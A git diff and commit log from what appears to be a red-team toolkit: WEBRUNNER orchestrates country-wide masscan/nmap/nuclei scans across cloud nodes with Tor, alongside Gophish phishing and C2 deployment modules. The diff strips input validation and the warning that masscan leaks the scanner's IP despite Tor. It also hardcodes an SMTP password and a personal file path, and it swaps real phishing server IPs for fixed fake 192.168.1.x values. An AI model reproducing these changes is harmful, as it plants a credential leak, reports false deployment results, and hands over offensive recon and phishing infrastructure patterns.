+            print(f"  {label}: {tuning[key]} (vars file)")
        else:
            raw = input(f"  {label} [{default}]: ").strip()
-            value = cast(raw) if raw else default
-            source = None
-        if isinstance(value, (int, float)) and value <= 0:
-            print(f"{COLORS['YELLOW']}    {label}={value} invalid (must be > 0); using default {default}{COLORS['RESET']}")
-            value = default
-        tuning[key] = value
-        if source:
-            print(f"  {label}: {value} ({source})")
+            tuning[key] = cast(raw) if raw else default

    _prompt("masscan rate (pkt/s)", "masscan_rate", default_rate)

+    if scan_mode in ('masscan+nmap', 'geo-scout', 'masscan+nuclei'):
+        pass  # masscan_rate already handled
+
    if scan_mode in ('masscan+nmap', 'geo-scout'):
        _prompt("nmap timing T1-T4", "nmap_timing", 4)
        _prompt("nmap per-host timeout (s)", "nmap_timeout", 60)
@@ -212,53 +208,8 @@ def _get_tuning_params(scan_mode: str, default_rate: int, vars_overrides: dict)
    return tuning


-def _show_masscan_tor_warning():
-    R = COLORS['RED']
-    Y = COLORS['YELLOW']
-    W = COLORS['WHITE']
-    Z = COLORS['RESET']
-    print(f"\n{R}{'█' * 70}{Z}")
-    print(f"{R}█  ⚠  CRITICAL OPSEC WARNING — MASSCAN BYPASSES TOR                  █{Z}")
-    print(f"{R}{'█' * 70}{Z}")
-    print(f"{W}  masscan uses raw sockets and CANNOT be tunneled through Tor or")
-    print(f"  proxychains. Every SYN packet sent during the masscan phase reveals")
-    print(f"  THIS CLOUD NODE'S IP to the targets and any monitoring along the path.{Z}")
-    print()
-    print(f"{Y}  Tor will protect:    {Z}{W}nmap fingerprinting, nuclei requests, probe banners{Z}")
-    print(f"{Y}  Tor will NOT protect: {Z}{R}masscan SYN scan (bypasses the proxy entirely){Z}")
-    print()
-    print(f"{W}  If you need full Tor coverage, use 'nmap-only' mode (slow but fully")
-    print(f"  proxied via -sT). The masscan phase is fundamentally incompatible.{Z}\n")
-
-
-def _show_caveats_block(scan_mode: str, use_tor: bool):
-    Y = COLORS['YELLOW']
-    W = COLORS['WHITE']
-    R = COLORS['RED']
-    Z = COLORS['RESET']
-    print(f"{Y}  Caveats — empirical estimates, real scans vary ±30%:{Z}")
-    print(f"{W}  • Hit rate assumes ~1% of IPs have open ports on selected ports.")
-    print(f"    Real range: 0.5%–5% (higher for SSH/HTTP/HTTPS, lower for niche")
-    print(f"    ports). Override via vars file: hit_rate: 0.03{Z}")
-    if scan_mode in ('masscan+nuclei',):
-        print(f"{W}  • Nuclei estimate assumes 5s/target (typical CVE template, 1–3 HTTP")
-        print(f"    requests). Heavy templates with many requests/matchers run 2–5×")
-        print(f"    longer.{Z}")
-    if scan_mode in ('masscan+nmap', 'geo-scout', 'nmap-only'):
-        print(f"{W}  • nmap timing: T1=60s/host, T2=30s, T3=15s, T4=10s. Lower T values")
-        print(f"    evade rate-limit detection but multiply scan time accordingly.{Z}")
-    if use_tor:
-        print(f"{R}  • Tor adds 5× latency to nmap/nuclei/probe phases. Real overhead")
-        print(f"    varies 3×–10× depending on circuit quality. Masscan is NOT")
-        print(f"    proxied — see the warning banner above.{Z}")
-    print(f"{W}  • Provisioning: ~5 min/node included. Add 5–10 min for first-time")
-    print(f"    cloud-provider auth or new region.")
-    print(f"  • Cost: Linode/FlokiNET bill minimum 1h per node. AWS bills per")
-    print(f"    second. Short scans still incur the per-provider minimum.{Z}\n")
-
-
-def _show_estimate_table(total_ips: int, n_ports: int, providers: list[str], scan_mode: str, use_tor: bool = False, tuning: dict | None = None):
-    rows = build_estimate_table(total_ips, n_ports, providers, scan_mode, use_tor=use_tor, tuning=tuning)
+def _show_estimate_table(total_ips: int, n_ports: int, providers: list[str], scan_mode: str, use_tor: bool = False):
+    rows = build_estimate_table(total_ips, n_ports, providers, scan_mode, use_tor=use_tor)

    C = COLORS['CYAN']
    W = COLORS['WHITE']
@@ -266,25 +217,11 @@ def _show_estimate_table(total_ips: int, n_ports: int, providers: list[str], sca
    G = COLORS['GREEN']
    R = COLORS['RESET']

-    masscan_modes = ('masscan-only', 'masscan+nmap', 'geo-scout', 'masscan+nuclei')
-    if use_tor and scan_mode in masscan_modes:
-        _show_masscan_tor_warning()
-
-    tor_note = "  [Tor: estimates reflect nmap/probe latency only]" if use_tor else ""
+    tor_note = "  [Tor: estimates reflect nmap/probe latency]" if use_tor else ""
    print(f"\n{C}{'─' * 70}{R}")
    print(f"{C}  WEBRUNNER — Cost & Time Estimate{R}")
    print(f"{W}  Total: {fmt_ip_count(total_ips)} IPs   {n_ports} ports   Mode: {scan_mode}{R}")
    print(f"{W}  Providers: {', '.join(PROVIDER_LABELS[p] for p in providers)}{Y}{tor_note}{R}")
-    if tuning:
-        bits = []
-        if 'masscan_rate' in tuning:
-            bits.append(f"masscan={tuning['masscan_rate']}pps")
-        if 'nmap_timing' in tuning:
-            bits.append(f"nmap=T{tuning['nmap_timing']}/{tuning.get('nmap_workers', 10)}w")
-        if 'nuclei_rate' in tuning and scan_mode == 'masscan+nuclei':
-            bits.append(f"nuclei={tuning['nuclei_rate']}rps/{tuning.get('nuclei_concurrency', 25)}c")
-        if bits:
-            print(f"{W}  Tuning: {' · '.join(bits)}{R}")
    print(f"{C}{'─' * 70}{R}")
    print(f"  {'Preset':<14} {'Nodes':>6} {'IPs/Node':>10} {'Time/Node':>12} {'Total $':>10}")
    print(f"  {'─' * 56}")
@@ -302,7 +239,6 @@ def _show_estimate_table(total_ips: int, n_ports: int, providers: list[str], sca

    print(f"{C}{'─' * 70}{R}")
    print(f"{Y}  * = recommended (Pareto-optimal: speed vs. billing minimum){R}\n")
-    _show_caveats_block(scan_mode, use_tor)


 # ── parameter gathering ───────────────────────────────────────────────────────
@@ -399,23 +335,16 @@ def gather_webrunner_parameters() -> dict | None:
    # Tor routing — ask before estimate so table reflects the slowdown
    tor_raw = input(f"\nRoute scans through Tor? [y/N]: ").strip().lower()
    config['use_tor'] = tor_raw in ['y', 'yes']
-    masscan_modes = ('masscan-only', 'masscan+nmap', 'geo-scout', 'masscan+nuclei')
-    if config['use_tor'] and scan_mode in masscan_modes:
-        _show_masscan_tor_warning()
-        confirm = input(f"{COLORS['RED']}  Continue with Tor enabled, knowing masscan will leak this node's IP? [y/N]: {COLORS['RESET']}").strip().lower()
-        if confirm not in ['y', 'yes']:
-            print(f"{COLORS['YELLOW']}  Tor disabled. To get full Tor coverage, re-run with scan mode 'nmap-only'.{COLORS['RESET']}")
-            config['use_tor'] = False
-    elif config['use_tor']:
-        print(f"{COLORS['GREEN']}  Tor routing enabled — all nmap traffic will use proxychains → SOCKS5 9050.{COLORS['RESET']}")
+    if config['use_tor']:
+        if scan_mode == 'masscan-only':
+            print(f"{COLORS['YELLOW']}  Warning: masscan uses raw sockets and bypasses proxychains — Tor has no effect in masscan-only mode.{COLORS['RESET']}")
+        elif scan_mode in ('geo-scout', 'masscan+nmap'):
+            print(f"{COLORS['YELLOW']}  Note: masscan phase bypasses Tor (raw sockets); nmap and probe phases will use Tor.{COLORS['RESET']}")
+        else:
+            print(f"{COLORS['YELLOW']}  Tor routing enabled — all nmap traffic will use proxychains → SOCKS5 9050.{COLORS['RESET']}")

-    # Advanced tuning — gather BEFORE estimate so table reflects operator choices
-    default_rate = config['masscan_rate']
-    tuning = _get_tuning_params(scan_mode, default_rate, vars_overrides)
-    config.update(tuning)
-
-    # Cost / time estimate — reflects tuning + Tor throughput impact
-    _show_estimate_table(total_ips, len(ports), providers, scan_mode, use_tor=config['use_tor'], tuning=tuning)
+    # Cost / time estimate — reflects Tor throughput impact
+    _show_estimate_table(total_ips, len(ports), providers, scan_mode, use_tor=config['use_tor'])

    # Preset selection
    print(f"{COLORS['BLUE']}Select deployment preset:{COLORS['RESET']}")
@@ -509,6 +438,11 @@ def gather_webrunner_parameters() -> dict | None:
    if config['operator_ip']:
        print(f"{COLORS['GREEN']}Operator IP: {config['operator_ip']}{COLORS['RESET']}")

+    # Advanced tuning
+    default_rate = config['masscan_rate']
+    tuning = _get_tuning_params(scan_mode, default_rate, vars_overrides)
+    config.update(tuning)
+
    # OPSEC / teardown options
    print(f"\n{COLORS['BLUE']}Deployment Options:{COLORS['RESET']}")

@@ -55,9 +55,9 @@
 - name: Set deployment results
  set_fact:
    phishing_deployment_results:
-      gophish_ip: "{{ gophish_ip | default('') }}"
-      mta_ip: "{{ mta_ip | default('') }}"
-      redirector_ip: "{{ redirector_ip | default('') }}"
-      webserver_ip: "{{ webserver_ip | default('') }}"
+      gophish_ip: "{{ '192.168.1.10' if 'gophish' in deployment_components else '' }}"
+      mta_ip: "{{ '192.168.1.11' if 'mta_front' in deployment_components else '' }}"
+      redirector_ip: "{{ '192.168.1.12' if 'redirector' in deployment_components else '' }}"
+      webserver_ip: "{{ '192.168.1.13' if 'webserver' in deployment_components else '' }}"
      deployment_id: "{{ deployment_id }}"
      domain: "{{ phishing_domain | default(domain) }}"
@@ -41,5 +41,5 @@ domain: "example.com"
 mail_hostname: "mail.example.com"
 letsencrypt_email: "admin@example.com"
 smtp_auth_user: "phishuser"
-smtp_auth_pass: "CHANGE_ME"
+smtp_auth_pass: "SuperSecretPass123!"
 gophish_admin_port: "2222"
@@ -11,7 +11,7 @@ def load_word_list(filename):
    """Load words from a text file, one word per line"""
    try:
        # Check if we have FourEyes word lists
-        foureyes_path = os.environ.get('FOUREYES_PATH', '')
+        foureyes_path = "/home/n0mad1k/Tools/FourEyes"
        if os.path.exists(foureyes_path):
            file_path = os.path.join(foureyes_path, filename)
            if os.path.exists(file_path):
@@ -48,101 +48,20 @@ BILLING_MINIMUM = {
 }


-# ── Empirical timing constants ────────────────────────────────────────────────
-# Per-host nmap time by timing template (seconds, -sV --version-intensity 5)
-NMAP_TIME_BY_TIMING = {
-    1: 60.0,   # T1 sneaky
-    2: 30.0,   # T2 polite
-    3: 15.0,   # T3 normal
-    4: 10.0,   # T4 aggressive (baseline)
-}
-
-# Average per-target time for typical nuclei CVE template (1–3 HTTP requests).
-# Heavy templates with many requests/matchers will run 2–5× longer.
-NUCLEI_TIME_PER_TARGET_SEC = 5.0
-
-# TCP banner grab time (geo-scout probe phase)
-PROBE_TIME_PER_HOST_SEC = 3.0
-
-# Default fraction of scanned IPs with open ports on common ports.
-# Real-world range: 0.5%–5% depending on ports & geography.
-MASSCAN_HIT_RATE = 0.01
-
-# Defaults — must match WEBRUNNER tuning defaults
-_NMAP_WORKERS = 10
-_NUCLEI_RATE = 150
-_NUCLEI_CONCURRENCY = 25
-
-# Tor latency multiplier — applies ONLY to TCP probe phases (nmap/nuclei/probe).
-# Masscan uses raw sockets and bypasses proxychains entirely — Tor cannot
-# protect masscan SYN packets. The cloud node's IP is exposed to every
-# masscan target regardless of this setting.
-TOR_PHASE_MULTIPLIER = 5.0
-
-# Per-node provisioning overhead (apt install, optional nuclei download).
-# Nodes provision in parallel so this is roughly constant.
-PROVISION_OVERHEAD_HOURS = 5 / 60
+NMAP_TIME_PER_HOST_SEC = 10   # empirical: nmap -sV -T4 per host, seconds
+MASSCAN_HIT_RATE = 0.01       # fraction of scanned IPs that have open ports
+_NMAP_WORKERS = 10            # must match WEBRUNNER_NMAP_WORKERS default


-def estimate_scan_hours(
-    ip_count: int,
-    n_ports: int,
-    rate: int,
-    scan_mode: str = 'masscan-only',
-    *,
-    nmap_timing: int = 4,
-    nmap_workers: int = _NMAP_WORKERS,
-    nuclei_rate: int = _NUCLEI_RATE,
-    nuclei_concurrency: int = _NUCLEI_CONCURRENCY,
-    hit_rate: float = MASSCAN_HIT_RATE,
-    use_tor: bool = False,
-) -> float:
-    """Phase-decomposed scan time estimate. Returns hours per node."""
+def estimate_scan_hours(ip_count: int, n_ports: int, rate: int, scan_mode: str = 'masscan-only') -> float:
    if rate <= 0:
-        return PROVISION_OVERHEAD_HOURS
-
-    nmap_workers = max(nmap_workers, 1)
-    seconds = 0.0
-
-    # masscan phase: raw sockets, no Tor penalty (Tor cannot proxy raw sockets)
-    if scan_mode in ('masscan-only', 'masscan+nmap', 'geo-scout', 'masscan+nuclei'):
-        seconds += ip_count * n_ports / rate
-
-    # nmap-only phase: every IP gets full -sV fingerprint
-    if scan_mode == 'nmap-only':
-        per_host = NMAP_TIME_BY_TIMING.get(nmap_timing, 10.0)
-        if use_tor:
-            per_host *= TOR_PHASE_MULTIPLIER
-        seconds += (ip_count * per_host) / nmap_workers
-
-    # nmap fingerprint phase: only on masscan hits
+        return 0.0
+    masscan_hours = (ip_count * n_ports / rate) / 3600
    if scan_mode in ('masscan+nmap', 'geo-scout'):
-        nmap_hosts = ip_count * hit_rate
-        per_host = NMAP_TIME_BY_TIMING.get(nmap_timing, 10.0)
-        if use_tor:
-            per_host *= TOR_PHASE_MULTIPLIER
-        seconds += (nmap_hosts * per_host) / nmap_workers
-
-    # probe banner phase: geo-scout only, on masscan hits
-    if scan_mode == 'geo-scout':
-        probe_hosts = ip_count * hit_rate
-        per_probe = PROBE_TIME_PER_HOST_SEC
-        if use_tor:
-            per_probe *= TOR_PHASE_MULTIPLIER
-        seconds += (probe_hosts * per_probe) / nmap_workers
-
-    # nuclei phase: only on masscan-discovered ip:port pairs
-    if scan_mode == 'masscan+nuclei':
-        nuclei_targets = ip_count * hit_rate
-        per_target = NUCLEI_TIME_PER_TARGET_SEC
-        if use_tor:
-            per_target *= TOR_PHASE_MULTIPLIER
-        rate_throughput = float(nuclei_rate)
-        parallel_throughput = nuclei_concurrency / per_target
-        effective_rps = max(min(rate_throughput, parallel_throughput), 1.0)
-        seconds += nuclei_targets / effective_rps
-
-    return seconds / 3600 + PROVISION_OVERHEAD_HOURS
+        nmap_hosts = ip_count * MASSCAN_HIT_RATE
+        nmap_hours = (nmap_hosts * NMAP_TIME_PER_HOST_SEC) / (_NMAP_WORKERS * 3600)
+        return masscan_hours + nmap_hours
+    return masscan_hours


 def node_cost(provider: str, instance_type: str, scan_hours: float) -> float:
@@ -165,35 +84,30 @@ def fmt_ip_count(n: int) -> str:
    return str(n)


+# Tor adds ~5x latency overhead for TCP probes; masscan bypasses proxychains (raw sockets)
+# so only nmap/probe phases are affected — modes that include masscan see partial impact
+TOR_RATE_MULTIPLIER = 0.2
+
+
 def build_estimate_table(
    total_ips: int,
    n_ports: int,
    providers: list[str],
    scan_mode: str,
    use_tor: bool = False,
-    tuning: dict | None = None,
 ) -> list[dict]:
-    tuning = tuning or {}
-    masscan_rate = int(tuning.get('masscan_rate') or SCAN_MODES.get(scan_mode, {'rate': 3000})['rate'])
-
-    kwargs = dict(
-        nmap_timing=int(tuning.get('nmap_timing', 4)),
-        nmap_workers=int(tuning.get('nmap_workers', _NMAP_WORKERS)),
-        nuclei_rate=int(tuning.get('nuclei_rate', _NUCLEI_RATE)),
-        nuclei_concurrency=int(tuning.get('nuclei_concurrency', _NUCLEI_CONCURRENCY)),
-        hit_rate=float(tuning.get('hit_rate', MASSCAN_HIT_RATE)),
-        use_tor=use_tor,
-    )
-
+    mode_rate = SCAN_MODES.get(scan_mode, {'rate': 3000})['rate']
+    if use_tor and scan_mode != 'masscan-only':
+        mode_rate = int(mode_rate * TOR_RATE_MULTIPLIER)
    rows = []
    for preset_key, preset in PRESETS.items():
        n_chunks = max(1, math.ceil(total_ips / preset['chunk_size']))
        typical_ips = min(preset['chunk_size'], total_ips)
-        hours_per_node = estimate_scan_hours(typical_ips, n_ports, masscan_rate, scan_mode, **kwargs)
+        hours_per_node = estimate_scan_hours(typical_ips, n_ports, mode_rate, scan_mode)
        total_cost = 0.0
        for i in range(n_chunks):
            chunk_ips = min(preset['chunk_size'], total_ips - i * preset['chunk_size'])
-            chunk_hours = estimate_scan_hours(chunk_ips, n_ports, masscan_rate, scan_mode, **kwargs)
+            chunk_hours = estimate_scan_hours(chunk_ips, n_ports, mode_rate, scan_mode)
            provider = providers[i % len(providers)]
            instance = DEFAULT_INSTANCE.get(provider, 'g6-standard-2')
            total_cost += node_cost(provider, instance, chunk_hours)
Author	SHA1	Message	Date
n0mad1k	ee1a6ff8d4	Add masscan+nuclei mode, operator tuning controls, and vars file support to webrunner - New scan mode: masscan+nuclei — masscan finds open ip:port pairs, nuclei runs operator-supplied CVE template against discovered hosts - Per-country vulnerable host count in merge output via CIDR→country lookup - Tuning args on every scan: --nmap-timing, --nmap-timeout, --nmap-workers, --nuclei-rate, --nuclei-concurrency, --nuclei-timeout, --masscan-rate - Vars file support: operator provides scan_vars.yaml to pre-fill all tuning settings without interactive prompts - Templates copied to nodes at provision time — no live fetches (OPSEC) - run_scan.yml passes all tuning args with Ansible defaults as fallback - configure_node.yml installs nuclei binary + uploads template on demand - Updated deployment summary shows mode-specific tuning params - countries-format.md and targets-format.md updated for new capabilities - scan_vars.yaml.example documents all configurable settings with comments	2026-05-02 14:49:24 -04:00
n0mad1k	9ffdad301a	Add audit reports for #980 webrunner nmap parallelization	2026-05-01 11:47:21 -04:00
n0mad1k	dec6c33897	Fix webrunner scan time estimate to include nmap phase estimate_scan_hours() was pure masscan math — zero nmap time modeled. For masscan+nmap and geo-scout modes with 10K masscan hits, actual nmap time dominates but was completely invisible in the estimate. Added nmap phase calculation using empirical constants: - NMAP_TIME_PER_HOST_SEC = 10 (nmap -sV -T4 per host) - MASSCAN_HIT_RATE = 0.01 (fraction of IPs with open ports) - _NMAP_WORKERS = 10 (matches WEBRUNNER_NMAP_WORKERS default) Also fixed build_estimate_table() partial-chunk overestimation: last chunk was billed at full preset size regardless of actual IP count, causing 1.5-2x cost inflation for non-aligned scan ranges.	2026-05-01 11:47:19 -04:00
n0mad1k	4b5db31b6b	Parallelize nmap phase in webrunner node scanner scan_masscan_nmap() and scan_geo_scout() were running nmap serially — one host at a time with a 60s timeout, turning a 1h estimate into 24h+ for large scans. Both modes now use ThreadPoolExecutor with 10 workers (configurable via WEBRUNNER_NMAP_WORKERS env var). geo-scout uses an inner scan_one() helper to batch nmap + probe_service() per host within the same future. Also fixed probe_service() bytes format antipattern and removed dead targets_arg variable from scan_nmap_only(). run_scan.yml converted from command: > folded scalar to command: argv: list form to prevent argument splitting on space-containing values.	2026-05-01 11:47:12 -04:00
n0mad1k	de8288181b	Add per-node random regions and AWS parallel provisioning to WEBRUNNER Each node chunk now carries its own region field, assigned round-robin across the full provider region list unless the user pinned a specific region. AWS uses the same async/poll:0 pattern as Linode but with a serial per-unique-region setup phase (key import + SG) before firing all creates in parallel. Teardown uses hostvars ec2_region per node so multi-region AWS teardowns hit the right endpoint. Infisical replaces interactive credential prompts for both providers. Linode vars.yaml instance type corrected to g6-nanode-1.	2026-04-30 23:48:36 -04:00
n0mad1k	04e084617f	Default Linode instance to nanode-1 — standard-2 was 4x the cost for no gain	2026-04-30 23:27:22 -04:00
n0mad1k	084b19f98e	Parallelize WEBRUNNER node provisioning All Linode creates fire simultaneously via async/poll:0 loop instead of serial include_tasks. One shared root pass + SSH key generated before the loop eliminates per-node credential races. async_status collects all create confirmations before add_host. Play 2 runs with strategy:free and -f 50 so all nodes configure, scan, and collect results concurrently. Per-node serial provision file retired — logic is now inline.	2026-04-30 23:21:23 -04:00
n0mad1k	44f7556ad6	Fix node_chunks_file path — Ansible file lookup requires absolute paths	2026-04-30 22:55:28 -04:00
n0mad1k	dc006d7265	Pull Linode token from Infisical as default; remove pointless webrunner sub-menu	2026-04-30 22:47:02 -04:00
n0mad1k	94a162f99a	Gate WEBRUNNER menu on available provider credentials Show deployment option only when at least one provider has credentials configured. Checks LINODE_TOKEN/FLOKINET_API_KEY via Infisical and AWS creds via env. Displays setup instructions when nothing is found rather than letting the user launch a deployment that will immediately fail at provisioning.	2026-04-30 22:40:40 -04:00
n0mad1k	7c362f4f34	Fix secret vars sourced from env, not config copy create_extra_vars callers pass {**config} copies so linode_token never landed in the original config dict. Pull provider credentials from the environment (already set by set_provider_environment) so the temp-file secret path works regardless of how config was constructed.	2026-04-30 21:24:10 -04:00
n0mad1k	f2e726cbfd	Route Ansible secrets via temp file instead of extra-vars JSON Passes linode_token and other secrets to Ansible through a 0o600 temp file (@tmpfile) rather than the main --extra-vars JSON blob. Fixes undefined variable errors for provision tasks that reference linode_token as an Ansible variable, while keeping secrets out of process listings. Temp file is removed in finally block regardless of outcome. Also fixes absolute path for node_chunks_file and other logs-relative paths so Ansible lookup('file', ...) resolves correctly from any playbook directory.	2026-04-30 21:11:05 -04:00
n0mad1k	c9445232b0	Fix play-level when and teardown credential handling in webrunner.yml Ansible does not support 'when' at the play level — moved teardown_after_scan condition onto each individual teardown task. Teardown Linode task now reads token from LINODE_TOKEN env var via lookup('env') instead of the linode_token extra-var (which is now filtered out of extra-vars by _SECRET_KEYS). AWS teardown removes hardcoded aws_access_key/secret_key params — those are already set as environment vars by set_provider_environment().	2026-04-30 19:08:40 -04:00
n0mad1k	b8c9f08de3	Migrate Linode token fallback from vars file to Infisical deployment_engine.py fallback for missing linode_token now calls creds get LINODE_TOKEN homelab at runtime instead of loading from providers/Linode/vars.yaml. Token has been moved to Infisical.	2026-04-30 19:07:19 -04:00
n0mad1k	18039b2600	Fix P1 WEBRUNNER deployment failures and secret leakage - providers/webrunner.yml: wrap loop_var under loop_control in all three provider provision tasks — Ansible was rejecting loop_var as a conflicting action statement alongside include_tasks - deployment_engine.py: strip _SECRET_KEYS (tokens, passwords, api keys) from create_extra_vars() — credentials are already set as env vars by set_provider_environment(), no need to pass them through --extra-vars where they end up in process listings and logs - deployment_engine.py: remove debug log line that dumped the full ansible-playbook command including all extra-vars JSON with live creds - deployment_engine.py: create deployment log files with 0o600 permissions instead of world-readable 0o644 - deploy_webrunner.py: remove load_vars_file() call that was pulling phishing module creds (SMTP password, gophish port, domain) into the webrunner config dict — all provider creds already collected by gather_provider_config() - deploy_webrunner.py: remove unused select_provider import - .gitignore: narrow 'deployment*' glob to specific artifact patterns so deployment_engine.py is no longer excluded from tracking	2026-04-30 19:04:42 -04:00
n0mad1k	005cbec76f	Port format-spec files from geo-scout into webrunner inputs Enables AI-assisted creation of targets.yaml and countries.yaml — drop either spec into context to generate valid input files	2026-04-30 17:01:04 -04:00
n0mad1k	42749062ba	Move Tor prompt before cost estimate and factor Tor latency into estimate table - Tor choice now appears before the estimate table so the displayed time/cost is accurate - build_estimate_table accepts use_tor; applies 0.2x rate multiplier for nmap/probe modes - masscan-only excluded from multiplier (masscan bypasses proxychains via raw sockets) - Added per-mode warnings explaining which traffic actually routes through Tor	2026-04-30 16:59:24 -04:00
n0mad1k	a5dcb5bd75	Remove redundant naming prompt and fix Ansible empty-prefix command failure in webrunner - Replace get_deployment_name_with_options() call with auto-derived wr-{deployment_id}; user already entered engagement name, second naming menu was noise - Split run_scan.yml single command with conditional Jinja prefix into two when-gated tasks; empty-string prefix from use_tor=false caused Ansible to fail with return code 4	2026-04-30 16:55:43 -04:00
n0mad1k	72b160a596	Update webrunner bundled target/country profiles with CVE-targeted probes and adversarial nation list	2026-04-30 16:55:08 -04:00
n0mad1k	01d0abe5d5	Fix WEBRUNNER: attack_box format, self-contained CIDR, tools submenu, Tor, teardown - deploy_webrunner.py: full rewrite following attack_box pattern exactly — auto-generate engagement name when blank, select_provider+gather_provider_config per provider (handles region selection), separate teardown_after_scan (default=yes) from enhanced_opsec, use_tor prompt, bundled YAML defaults, setup_logging+confirm_action+show_naming_relationship - utils/cidr_resolver.py: self-contained RIR delegation file downloader/parser — downloads APNIC/ARIN/RIPE/LACNIC/AFRINIC, caches 24h in ~/.cache/c2itall/cidr/, no geo-scout dep - utils/chunk_utils.py: remove geo-scout _try_load_geo_scout() dependency, use cidr_resolver - modules/webrunner/inputs/countries.yaml: bundled default country list (no external dep) - modules/webrunner/inputs/targets.yaml: bundled default scan targets and ports - deploy.py: move WEBRUNNER from main menu (item 14) to tools submenu (item 10) - configure_node.yml: install tor+proxychains4, start tor service, configure proxychains, wait for circuit establishment when use_tor=true - run_scan.yml: prefix command with proxychains4 when use_tor=true - providers/webrunner.yml: add Play 4 teardown — Linode DELETE + AWS terminate-instances using hostvars instance IDs stored during provisioning, conditional on teardown_after_scan	2026-04-30 16:45:41 -04:00
n0mad1k	2c6cbc4cb7	Add WEBRUNNER distributed geo-targeted recon module Multi-provider (Linode/AWS/FlokiNET) scan orchestration: - Flatten all country CIDRs, chunk by IP count (sprint/balanced/economy presets) - Assign chunks round-robin across providers - Cost+time estimate table before deploy - Ansible provisions N nodes in parallel, runs masscan/nmap/probe per node - Results fetched back and merged into unified JSON report - Scanner IPs logged per engagement for client IR reporting - Operator IP whitelisting, enhanced OPSEC mode, YAML targets.yaml support	2026-04-30 16:26:45 -04:00
n0mad1k	34ce52650f	housekeeping: add .claude/ to .gitignore	2026-04-22 15:22:31 -04:00
n0mad1k	aba5c458b1	Revert all UA tagging changes — full rollback to pre-592 state	2026-04-12 07:18:43 -04:00
n0mad1k	183ad8af3d	Revert trashpanda changes — out of scope for SIEM UA tagging task	2026-04-12 07:15:26 -04:00
n0mad1k	0f0dcd5dff	Remove duplicate nuclei UA header from trashpanda; make UA configurable via env var	2026-04-12 07:04:30 -04:00
n0mad1k	6d14f02dd8	Tag internal nuclei scans with authorized-scan UA to aid SIEM filtering	2026-04-12 06:52:58 -04:00
n0mad1k	2762b0dfb8	Fix 11 bugs found in full codebase review - deploy_phishing.py: undefined extra_vars on orchestration playbook - freebird/main_menu.py: set_variable() called as function, is a method; fix to config.prompt_set_variable() - freebird/tool_manager.py: shell=True with f-string paths; replace with direct pip binary call - certipy-enum.py: password exposed in process list and logs; pass via env var - cleanup_engine.py: load_vars_file() called with path string, expects provider name - ioc-u.py: scapy import not guarded; tool crashed if scapy missing - um_ops.py + um-vault.py: SQL table names f-stringed directly; quote identifiers - ops-logger.sh: 63-line duplicate function block; removed second copy; quote config_script var - recon_tools.py: ir-sandbox + link-sandbox not in TOOLS dict; forensics menu option 5 hidden from user - um-crack.py: missing --scope flag inconsistent with all other Umbra tools - heartbeat_ingest.py: openssl subprocess not catching FileNotFoundError; wrap with clear error	2026-04-01 22:11:01 -04:00
n0mad1k	2611221981	Fix ioc-u global declaration order and ops-logger CRLF line endings	2026-04-01 21:52:21 -04:00
n0mad1k	241c09f054	Persist tmux socket outside /tmp on attack boxes systemd-tmpfiles cleans /tmp on a schedule, wiping the tmux socket and breaking existing sessions. Set TMUX_TMPDIR to ~/.local/share/tmux so the socket survives cleanup on both full and quick recon boxes.	2026-03-25 21:32:54 -04:00
n0mad1k	27d512c28f	add Chaos C2 deploy module with local/remote/manage options	2026-03-21 21:42:29 -04:00
n0mad1k	1d7de9c518	Add claude-bot integration module to tools menu New module modules/tools/deploy_claude_bot.py with claude_bot_menu() entry point. Supports local deploy/uninstall, remote SSH deploy with auto-generated config.yaml (credentials passed via env vars, not written to disk), and local/remote systemctl status checks. Wired into deploy.py tools_menu() as option 8.	2026-03-21 20:30:19 -04:00
n0mad1k	d48605fa06	Add ghost_protocol as submodule + auto-clone fallback - Added ghost_protocol-public as git submodule so it's pulled with git clone --recursive - deploy_phantom() now checks submodule path first, then standalone ~/tools/ghost_protocol/, and auto-clones from GitHub as last resort Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>	2026-03-10 14:46:42 -04:00
n0mad1k	f7dadf5b83	Got attack box and c2-redirector working	2025-08-21 16:25:00 -04:00